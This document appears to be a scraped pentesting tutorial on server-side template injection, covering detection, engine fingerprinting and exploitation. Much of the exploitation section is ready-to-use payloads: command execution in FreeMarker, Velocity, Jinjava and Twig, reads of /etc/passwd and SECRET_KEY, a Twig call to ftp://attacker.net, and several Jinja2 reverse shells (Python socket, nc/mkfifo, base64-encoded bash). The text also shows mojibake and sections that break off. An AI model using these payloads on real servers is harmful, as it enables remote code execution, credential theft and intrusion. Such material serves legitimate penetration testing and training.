A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate web pages by combiningfixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.
An example of vulnerable code see the following one:
$output = $twig->render("Dear ". $_GET['name']);
In the previous example part of the template itself is being dynamically generated using the GET parameter name. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:
Constructing a server-side template injection attack
Detect
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as the polyglot ${{<%[%'"}}%\.
In order to check if the server is vulnerable you should spot the differences between the response with regular data on the parameter and the given payload.
If an error is thrown it will be quiet easy to figure out that the server is vulnerable and even which engine is running. But you could also find a vulnerable server if you were expecting it to reflect the given payload and it is not being reflected or if there are some missing chars in the response.
Detect - Plaintext context
The given input is being rendered and reflected into the response. This is easily mistaken for a simpleXSS vulnerability, but it's easy to differentiate if you try to set mathematical operations within a template expression:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Detect - Code context
In these cases the user input is being placed within a template expression:
engine.render("Hello {{"+greeting+"}}", data)
The URL access that page could be similar to: http://vulnerable-website.com/?greeting=data.username
If you change the greeting parameter for a different value the response won't contain the username, but if you access something like: http://vulnerable-website.com/?greeting=data.username}}hello then, the response will contain the username (if the closing template expression chars were }}).
If an error is thrown during these test, it will be easier to find that the server is vulnerable.
Identify
Once you have detected the template injection potential, the next step is to identify the template engine.
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.
If you are lucky the server will be printing the errors and you will be able to find the engine used inside the errors. Some possible payloads that may cause errors:
${}
{{}}
<%= %>
${7/0}
{{7/0}}
<%= 7/0 %>
${foobar}
{{foobar}}
<%= foobar %>
${7*7}
{{7*7}}
``
Otherwise, you'll need to manually test different language-specific payloads and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:
Exploit
Read
The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:
'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
Lists of builtin methods, functions, filters, and variables.
Lists of extensions/plugins - some may be enabled by default.
Explore
Assuming no exploits have presented themselves, the next step is to explore the environment to find out exactly what you have access to. You can expect to find both default objects provided by the template engine, and application-specific objects passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.
If there's no builtin self object you're going to have to bruteforce variable names using SecLists and Burp Intruder's wordlist collection.
Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.
Attack
At this point you should have a firm idea of the attack surface available to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
โ ๏ธ only works on Freemarker versions below 2.3.30
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
The typical test expression for SSTI is ${7*7}. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:
However, as we mentioned before, expressions only work in special Thymeleaf attributes. If itโs necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]] or [(...)] (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]].
Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesnโt allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string on the fly, they would need to create their own TemplateResolver. This is possible but happens very rarely.
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called expression preprocessing. Expressions placed between double underscores (__...__) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the {% %} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by several JavaEE technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI).
Check the following page to learn more about the exploitation of EL interpreters:
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
{% debug %}
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Template format
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
Jinja2 - Debug Statement
If the Debug Extension is enabled, a `
` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whatโs available to use in the template without setting up a debugger.
Exploit the SSTI by calling Popen without guessing the offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
More:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> <port> >/tmp/f')|attr('read')()}}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Exploit SSTI without ""
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
It's possible to call methods of the object that is passed to the context of the template.
For example if an object has the method System to execute a command or the method File to read a file you could achieve RCE o read arbitrary files with: